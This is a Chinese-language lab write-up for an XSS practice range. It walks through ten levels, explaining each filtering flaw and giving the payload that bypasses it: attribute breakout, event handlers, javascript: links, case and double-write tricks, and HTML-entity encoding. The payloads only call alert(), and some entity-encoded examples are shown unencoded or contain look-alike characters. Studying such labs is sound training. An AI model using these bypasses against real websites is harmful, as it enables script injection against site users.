XSS漏洞靶场练习
第一关
观察代码,在用户传入name时,未进行任何的过滤或者转义,导致漏洞
代码中重新定义了alert函数,所以可以使用该函数
payload
<script>alert()</script>
第二关
继续使用第一关的思路,并未成功
查看后发现该js被当成input中的value值了
可以使用 "> 将input语句进行闭合
第三关
观察代码发现
只转义双引号,未过滤单引号,需要构造一个自动触发的属性,使用onmouseover属性
payload
?keyword=‘ onmouseover’=alert()
第四关
观察代码可以看到,value中并未使用htmlspecialchars属性进行转义,可以使用双引号
payload
?keyword=" οnmοuseοver="alert()
第五关
观察代码发现,使用第四关的payload时会将on替换为o_n,此时该payload失效
value中还是未使用htmlspecialchars属性进行转义,此时可以使用超链接
payload
?keyword=">%20<a%20href="javascript:alert(%27xss%27)">在这</a>
第六关
与第五关相比,第六关并未使用strtolower函数对大小写进行过滤,可以使用大小写
payload
?keyword="> <SCRIPT>alert()</SCRIPT>
第七关
使用?keyword="><script>alert()</script>这个payload发现script被过滤,可以使用双写绕过
payload
?keyword="><scrscriptipt>alert()</scrscriptipt>
第八关
使用前几关的方法均未能绕过
观察代码可以看到,未对HTML实体编码进行过滤
可以将要使用的payload进行HTML实体编码进行绕过
payload
javascript:alert()
编码后
javascript:alert()
第九关
使用第八关的方法发现链接不合法
在加上HTTP协议头进行尝试
payload
javascript:alert()
HTML实体编码
javascript:alert()//http://
第十关
使用F12观察,发现有隐藏输入框,传入参数,可以看到t_sort含有漏洞
构造payload传入t_sort
script的<>被过滤,使用onclick进行尝试
?t_sort=" οnclick="alert()" type=""